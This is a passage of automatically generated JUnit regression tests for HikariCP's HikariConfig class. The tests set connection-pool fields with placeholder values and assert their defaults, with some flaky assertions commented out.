hikariConfig11.transactionIsolation = (byte) 1;
hikariConfig11.dataSourceClassName = "";
boolean boolean23 = hikariConfig11.isJdbc4connectionTest;
hikariConfig11.setJdbc4ConnectionTest(true);
hikariConfig1.addDataSourceProperty("HikariPool-59", (java.lang.Object) hikariConfig11);
java.lang.String str27 = hikariConfig11.getCatalog();
long long28 = hikariConfig11.idleTimeout;
long long29 = hikariConfig11.idleTimeout;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer30 = hikariConfig11.connectionCustomizer;
boolean boolean31 = hikariConfig11.isInitializationFailFast();
java.util.Properties properties33 = null;
com.zaxxer.hikari.HikariConfig hikariConfig34 = new com.zaxxer.hikari.HikariConfig(properties33);
boolean boolean35 = hikariConfig34.isAutoCommit;
hikariConfig34.poolName = "hi!";
hikariConfig34.setMinimumPoolSize(1);
javax.sql.DataSource dataSource40 = null;
hikariConfig34.dataSource = dataSource40;
int int42 = hikariConfig34.minPoolSize;
int int43 = hikariConfig34.minPoolSize;
hikariConfig34.setCatalog("HikariPool-550");
int int46 = hikariConfig34.getTransactionIsolation();
hikariConfig11.addDataSourceProperty("HikariPool-7410", (java.lang.Object) hikariConfig34);
boolean boolean48 = hikariConfig34.isRegisterMbeans;
org.junit.Assert.assertNull(iConnectionCustomizer8);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertNull(str15);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 60 + "'", int16 == 60);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
org.junit.Assert.assertNotNull(properties18);
org.junit.Assert.assertTrue("'" + boolean23 + "' != '" + true + "'", boolean23 == true);
org.junit.Assert.assertNull(str27);
// flaky: org.junit.Assert.assertTrue("'" + long28 + "' != '" + 60L + "'", long28 == 60L);
// flaky: org.junit.Assert.assertTrue("'" + long29 + "' != '" + 60L + "'", long29 == 60L);
org.junit.Assert.assertNull(iConnectionCustomizer30);
org.junit.Assert.assertTrue("'" + boolean31 + "' != '" + false + "'", boolean31 == false);
org.junit.Assert.assertTrue("'" + boolean35 + "' != '" + true + "'", boolean35 == true);
org.junit.Assert.assertTrue("'" + int42 + "' != '" + 1 + "'", int42 == 1);
org.junit.Assert.assertTrue("'" + int43 + "' != '" + 1 + "'", int43 == 1);
org.junit.Assert.assertTrue("'" + int46 + "' != '" + (-1) + "'", int46 == (-1));
org.junit.Assert.assertTrue("'" + boolean48 + "' != '" + false + "'", boolean48 == false);
}
@Test
public void test19051() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19051");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setTransactionIsolation("hi!");
hikariConfig1.setInitializationFailFast(false);
int int9 = hikariConfig1.maxPoolSize;
boolean boolean10 = hikariConfig1.isAutoCommit();
java.lang.String str11 = hikariConfig1.connectionTestQuery;
hikariConfig1.maxLifetime = '4';
hikariConfig1.setPoolName("HikariPool-114");
hikariConfig1.setConnectionInitSql("HikariPool-2309");
java.lang.String str18 = hikariConfig1.transactionIsolationName;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + true + "'", boolean10 == true);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertEquals("'" + str18 + "' != '" + "hi!" + "'", str18, "hi!");
}
@Test
public void test19052() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19052");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isRegisterMbeans = false;
boolean boolean9 = hikariConfig1.isRegisterMbeans();
java.lang.String str10 = hikariConfig1.getCatalog();
hikariConfig1.transactionIsolation = 100;
hikariConfig1.setMaxLifetime((long) (byte) 10);
java.lang.String str15 = hikariConfig1.getPoolName();
hikariConfig1.setConnectionTestQuery("HikariPool-320");
java.lang.String str18 = hikariConfig1.connectionInitSql;
hikariConfig1.transactionIsolation = 100;
hikariConfig1.setLeakDetectionThreshold((long) 32);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertNull(str10);
// flaky: org.junit.Assert.assertEquals("'" + str15 + "' != '" + "HikariPool-50648" + "'", str15, "HikariPool-50648");
org.junit.Assert.assertNull(str18);
}
@Test
public void test19053() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19053");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
int int8 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setJdbc4ConnectionTest(false);
hikariConfig1.connectionTestQuery = "HikariPool-173";
hikariConfig1.setMaximumPoolSize(0);
hikariConfig1.setDataSourceClassName("HikariPool-2845");
hikariConfig1.connectionTestQuery = "HikariPool-8267";
boolean boolean19 = hikariConfig1.isAutoCommit;
// The following exception was thrown during execution in test generation
try {
hikariConfig1.setConnectionTimeout((long) (byte) 1);
org.junit.Assert.fail("Expected exception of type java.lang.IllegalArgumentException; message: connectionTimeout cannot be less than 100ms");
} catch (java.lang.IllegalArgumentException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 60 + "'", int8 == 60);
org.junit.Assert.assertTrue("'" + boolean19 + "' != '" + true + "'", boolean19 == true);
}
@Test
public void test19054() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19054");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
java.util.Properties properties8 = hikariConfig1.getDataSourceProperties();
hikariConfig1.setRegisterMbeans(true);
hikariConfig1.setMaxLifetime((long) (byte) 1);
java.lang.String str13 = hikariConfig1.poolName;
hikariConfig1.dataSourceClassName = "HikariPool-320";
int int16 = hikariConfig1.maxPoolSize;
boolean boolean17 = hikariConfig1.isJdbc4ConnectionTest();
hikariConfig1.catalog = "HikariPool-574";
hikariConfig1.catalog = "HikariPool-31403";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties8);
// flaky: org.junit.Assert.assertEquals("'" + str13 + "' != '" + "HikariPool-50651" + "'", str13, "HikariPool-50651");
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 60 + "'", int16 == 60);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + true + "'", boolean17 == true);
}
@Test
public void test19055() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19055");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
java.lang.String str6 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.setConnectionTestQuery("hi!");
java.lang.String str9 = hikariConfig1.getCatalog();
int int10 = hikariConfig1.acquireRetries;
hikariConfig1.setAutoCommit(true);
java.lang.String str13 = hikariConfig1.getConnectionInitSql();
long long14 = hikariConfig1.getMaxLifetime();
java.util.Properties properties15 = hikariConfig1.dataSourceProperties;
hikariConfig1.setAutoCommit(true);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 3 + "'", int10 == 3);
org.junit.Assert.assertNull(str13);
// flaky: org.junit.Assert.assertTrue("'" + long14 + "' != '" + 35L + "'", long14 == 35L);
org.junit.Assert.assertNotNull(properties15);
}
@Test
public void test19056() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19056");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
java.lang.String str9 = hikariConfig1.transactionIsolationName;
hikariConfig1.setMaximumPoolSize((int) (short) 0);
hikariConfig1.dataSourceClassName = "HikariPool-204";
javax.sql.DataSource dataSource14 = hikariConfig1.getDataSource();
hikariConfig1.setAcquireRetries(10);
hikariConfig1.setAcquireRetries(10);
boolean boolean19 = hikariConfig1.isJdbc4connectionTest;
long long20 = hikariConfig1.leakDetectionThreshold;
hikariConfig1.setPoolName("HikariPool-543");
hikariConfig1.connectionTimeout = 0L;
hikariConfig1.setIdleTimeout(97L);
java.lang.String str27 = hikariConfig1.getCatalog();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(dataSource14);
org.junit.Assert.assertTrue("'" + boolean19 + "' != '" + false + "'", boolean19 == false);
org.junit.Assert.assertTrue("'" + long20 + "' != '" + 0L + "'", long20 == 0L);
org.junit.Assert.assertNull(str27);
}
@Test
public void test19057() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19057");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.minPoolSize = (byte) 1;
hikariConfig1.catalog = "";
boolean boolean8 = hikariConfig1.isRegisterMbeans;
java.lang.String str9 = hikariConfig1.transactionIsolationName;
hikariConfig1.isJdbc4connectionTest = true;
java.util.Properties properties13 = null;
com.zaxxer.hikari.HikariConfig hikariConfig14 = new com.zaxxer.hikari.HikariConfig(properties13);
hikariConfig14.leakDetectionThreshold = 100;
hikariConfig14.setTransactionIsolation("hi!");
int int19 = hikariConfig14.getMaximumPoolSize();
hikariConfig14.setRegisterMbeans(false);
hikariConfig1.addDataSourceProperty("HikariPool-112", (java.lang.Object) hikariConfig14);
java.lang.String str23 = hikariConfig14.poolName;
int int24 = hikariConfig14.maxPoolSize;
java.lang.String str25 = hikariConfig14.connectionCustomizerClassName;
javax.sql.DataSource dataSource26 = null;
hikariConfig14.setDataSource(dataSource26);
org.junit.Assert.assertTrue("'" + boolean8 + "' != '" + false + "'", boolean8 == false);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertTrue("'" + int19 + "' != '" + 60 + "'", int19 == 60);
// flaky: org.junit.Assert.assertEquals("'" + str23 + "' != '" + "HikariPool-50655" + "'", str23, "HikariPool-50655");
org.junit.Assert.assertTrue("'" + int24 + "' != '" + 60 + "'", int24 == 60);
org.junit.Assert.assertNull(str25);
}
@Test
public void test19058() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19058");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.setTransactionIsolation("");
java.util.Properties properties9 = null;
com.zaxxer.hikari.HikariConfig hikariConfig10 = new com.zaxxer.hikari.HikariConfig(properties9);
int int11 = hikariConfig10.getTransactionIsolation();
hikariConfig10.setRegisterMbeans(false);
hikariConfig10.isInitializationFailFast = true;
int int16 = hikariConfig10.acquireRetries;
hikariConfig10.setMaxLifetime((long) (-1));
int int19 = hikariConfig10.getTransactionIsolation();
java.util.Properties properties20 = null;
com.zaxxer.hikari.HikariConfig hikariConfig21 = new com.zaxxer.hikari.HikariConfig(properties20);
int int22 = hikariConfig21.getTransactionIsolation();
hikariConfig21.setRegisterMbeans(false);
java.lang.String str25 = hikariConfig21.transactionIsolationName;
int int26 = hikariConfig21.getMaximumPoolSize();
int int27 = hikariConfig21.transactionIsolation;
java.util.Properties properties28 = hikariConfig21.dataSourceProperties;
hikariConfig10.setDataSourceProperties(properties28);
hikariConfig1.dataSourceProperties = properties28;
com.zaxxer.hikari.HikariConfig hikariConfig31 = new com.zaxxer.hikari.HikariConfig(properties28);
int int32 = hikariConfig31.maxPoolSize;
boolean boolean33 = hikariConfig31.isJdbc4connectionTest;
java.lang.String str34 = hikariConfig31.getConnectionInitSql();
hikariConfig31.setAcquireRetries((int) (short) 1);
java.lang.String str37 = hikariConfig31.dataSourceClassName;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int11 + "' != '" + (-1) + "'", int11 == (-1));
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 3 + "'", int16 == 3);
org.junit.Assert.assertTrue("'" + int19 + "' != '" + (-1) + "'", int19 == (-1));
org.junit.Assert.assertTrue("'" + int22 + "' != '" + (-1) + "'", int22 == (-1));
org.junit.Assert.assertNull(str25);
org.junit.Assert.assertTrue("'" + int26 + "' != '" + 60 + "'", int26 == 60);
org.junit.Assert.assertTrue("'" + int27 + "' != '" + (-1) + "'", int27 == (-1));
org.junit.Assert.assertNotNull(properties28);
org.junit.Assert.assertTrue("'" + int32 + "' != '" + 60 + "'", int32 == 60);
org.junit.Assert.assertTrue("'" + boolean33 + "' != '" + true + "'", boolean33 == true);
org.junit.Assert.assertNull(str34);
org.junit.Assert.assertNull(str37);
}
@Test
public void test19059() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19059");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
int int8 = hikariConfig1.getMaximumPoolSize();
java.lang.String str9 = hikariConfig1.getDataSourceClassName();
boolean boolean10 = hikariConfig1.isInitializationFailFast();
hikariConfig1.connectionInitSql = "HikariPool-36119";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 60 + "'", int8 == 60);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
}
@Test
public void test19060() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19060");
com.zaxxer.hikari.HikariConfig hikariConfig0 = new com.zaxxer.hikari.HikariConfig();
hikariConfig0.setDataSourceClassName("");
hikariConfig0.validate();
long long4 = hikariConfig0.getLeakDetectionThreshold();
hikariConfig0.setRegisterMbeans(false);
hikariConfig0.setUseInstrumentation(true);
hikariConfig0.maxPoolSize = (short) 100;
java.lang.String str11 = hikariConfig0.dataSourceClassName;
java.lang.String str12 = hikariConfig0.dataSourceClassName;
hikariConfig0.isRegisterMbeans = false;
org.junit.Assert.assertTrue("'" + long4 + "' != '" + 0L + "'", long4 == 0L);
org.junit.Assert.assertEquals("'" + str11 + "' != '" + "" + "'", str11, "");
org.junit.Assert.assertEquals("'" + str12 + "' != '" + "" + "'", str12, "");
}
@Test
public void test19061() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19061");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isRegisterMbeans = false;
long long9 = hikariConfig1.getMaxLifetime();
java.util.Properties properties10 = hikariConfig1.dataSourceProperties;
hikariConfig1.connectionTestQuery = "HikariPool-412";
hikariConfig1.catalog = "";
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer15 = hikariConfig1.connectionCustomizer;
hikariConfig1.isInitializationFailFast = true;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
// flaky: org.junit.Assert.assertTrue("'" + long9 + "' != '" + 35L + "'", long9 == 35L);
org.junit.Assert.assertNotNull(properties10);
org.junit.Assert.assertNull(iConnectionCustomizer15);
}
@Test
public void test19062() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19062");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
java.lang.String str9 = hikariConfig1.transactionIsolationName;
hikariConfig1.setMaximumPoolSize((int) (short) 0);
hikariConfig1.dataSourceClassName = "HikariPool-204";
javax.sql.DataSource dataSource14 = hikariConfig1.getDataSource();
hikariConfig1.setAcquireRetries(10);
hikariConfig1.setAcquireRetries(10);
boolean boolean19 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.setInitializationFailFast(false);
int int22 = hikariConfig1.minPoolSize;
hikariConfig1.poolName = "HikariPool-927";
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer25 = hikariConfig1.connectionCustomizer;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer26 = hikariConfig1.connectionCustomizer;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(dataSource14);
org.junit.Assert.assertTrue("'" + boolean19 + "' != '" + false + "'", boolean19 == false);
org.junit.Assert.assertTrue("'" + int22 + "' != '" + 10 + "'", int22 == 10);
org.junit.Assert.assertNull(iConnectionCustomizer25);
org.junit.Assert.assertNull(iConnectionCustomizer26);
}
@Test
public void test19063() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19063");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
int int9 = hikariConfig1.maxPoolSize;
hikariConfig1.setIdleTimeout(52L);
java.lang.String str12 = hikariConfig1.connectionInitSql;
hikariConfig1.acquireRetries = 97;
java.lang.String str15 = hikariConfig1.poolName;
int int16 = hikariConfig1.minPoolSize;
java.lang.Class<?> wildcardClass17 = hikariConfig1.getClass();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertEquals("'" + str15 + "' != '" + "hi!" + "'", str15, "hi!");
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 10 + "'", int16 == 10);
org.junit.Assert.assertNotNull(wildcardClass17);
}
@Test
public void test19064() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19064");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
java.lang.String str9 = hikariConfig1.transactionIsolationName;
hikariConfig1.setMaximumPoolSize((int) (short) 0);
hikariConfig1.dataSourceClassName = "HikariPool-204";
javax.sql.DataSource dataSource14 = hikariConfig1.getDataSource();
hikariConfig1.setAcquireRetries(10);
hikariConfig1.setAcquireRetries(10);
boolean boolean19 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.setInitializationFailFast(false);
int int22 = hikariConfig1.minPoolSize;
hikariConfig1.poolName = "HikariPool-927";
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer25 = hikariConfig1.connectionCustomizer;
hikariConfig1.setAcquireRetries(35);
hikariConfig1.connectionTestQuery = "HikariPool-27341";
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(dataSource14);
org.junit.Assert.assertTrue("'" + boolean19 + "' != '" + false + "'", boolean19 == false);
org.junit.Assert.assertTrue("'" + int22 + "' != '" + 10 + "'", int22 == 10);
org.junit.Assert.assertNull(iConnectionCustomizer25);
}
@Test
public void test19065() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19065");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
hikariConfig1.setInitializationFailFast(true);
int int12 = hikariConfig1.minPoolSize;
hikariConfig1.isInitializationFailFast = false;
hikariConfig1.isAutoCommit = false;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + 10 + "'", int12 == 10);
}
@Test
public void test19066() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19066");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.connectionTimeout = 10L;
hikariConfig1.connectionTestQuery = "HikariPool-104";
int int8 = hikariConfig1.transactionIsolation;
hikariConfig1.setAutoCommit(false);
int int11 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setConnectionInitSql("HikariPool-6");
hikariConfig1.transactionIsolation = 87;
javax.sql.DataSource dataSource16 = hikariConfig1.dataSource;
hikariConfig1.setAutoCommit(true);
hikariConfig1.setAutoCommit(false);
hikariConfig1.maxLifetime = (short) 1;
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 60 + "'", int11 == 60);
org.junit.Assert.assertNull(dataSource16);
}
@Test
public void test19067() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19067");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
int int8 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setJdbc4ConnectionTest(false);
java.util.Properties properties12 = null;
com.zaxxer.hikari.HikariConfig hikariConfig13 = new com.zaxxer.hikari.HikariConfig(properties12);
int int14 = hikariConfig13.getTransactionIsolation();
hikariConfig13.setRegisterMbeans(false);
java.lang.String str17 = hikariConfig13.transactionIsolationName;
long long18 = hikariConfig13.getIdleTimeout();
java.lang.String str19 = hikariConfig13.getCatalog();
java.util.Properties properties20 = hikariConfig13.getDataSourceProperties();
hikariConfig13.setUseInstrumentation(false);
hikariConfig1.addDataSourceProperty("HikariPool-222", (java.lang.Object) hikariConfig13);
hikariConfig1.poolName = "HikariPool-104";
int int26 = hikariConfig1.transactionIsolation;
int int27 = hikariConfig1.acquireRetries;
hikariConfig1.catalog = "HikariPool-133";
hikariConfig1.setPoolName("HikariPool-2349");
hikariConfig1.isRegisterMbeans = true;
long long34 = hikariConfig1.connectionTimeout;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 60 + "'", int8 == 60);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + (-1) + "'", int14 == (-1));
org.junit.Assert.assertNull(str17);
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 60L + "'", long18 == 60L);
org.junit.Assert.assertNull(str19);
org.junit.Assert.assertNotNull(properties20);
org.junit.Assert.assertTrue("'" + int26 + "' != '" + (-1) + "'", int26 == (-1));
org.junit.Assert.assertTrue("'" + int27 + "' != '" + 3 + "'", int27 == 3);
// flaky: org.junit.Assert.assertTrue("'" + long34 + "' != '" + 10L + "'", long34 == 10L);
}
@Test
public void test19068() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19068");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.maxLifetime = 32L;
hikariConfig1.connectionCustomizerClassName = "HikariPool-104";
boolean boolean7 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.maxLifetime = 'a';
long long10 = hikariConfig1.getAcquireRetryDelay();
java.lang.String str11 = hikariConfig1.getPoolName();
java.util.Properties properties12 = null;
com.zaxxer.hikari.HikariConfig hikariConfig13 = new com.zaxxer.hikari.HikariConfig(properties12);
int int14 = hikariConfig13.getTransactionIsolation();
hikariConfig13.setRegisterMbeans(false);
java.lang.String str17 = hikariConfig13.transactionIsolationName;
long long18 = hikariConfig13.connectionTimeout;
hikariConfig13.setIdleTimeout(0L);
java.util.Properties properties21 = hikariConfig13.dataSourceProperties;
com.zaxxer.hikari.HikariConfig hikariConfig22 = new com.zaxxer.hikari.HikariConfig(properties21);
com.zaxxer.hikari.HikariConfig hikariConfig23 = new com.zaxxer.hikari.HikariConfig(properties21);
hikariConfig1.setDataSourceProperties(properties21);
hikariConfig1.setDataSourceClassName("HikariPool-10119");
hikariConfig1.setMaximumPoolSize((int) (short) 10);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean7 + "' != '" + true + "'", boolean7 == true);
org.junit.Assert.assertTrue("'" + long10 + "' != '" + 0L + "'", long10 == 0L);
// flaky: org.junit.Assert.assertEquals("'" + str11 + "' != '" + "HikariPool-50670" + "'", str11, "HikariPool-50670");
org.junit.Assert.assertTrue("'" + int14 + "' != '" + (-1) + "'", int14 == (-1));
org.junit.Assert.assertNull(str17);
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 10L + "'", long18 == 10L);
org.junit.Assert.assertNotNull(properties21);
}
@Test
public void test19069() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19069");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
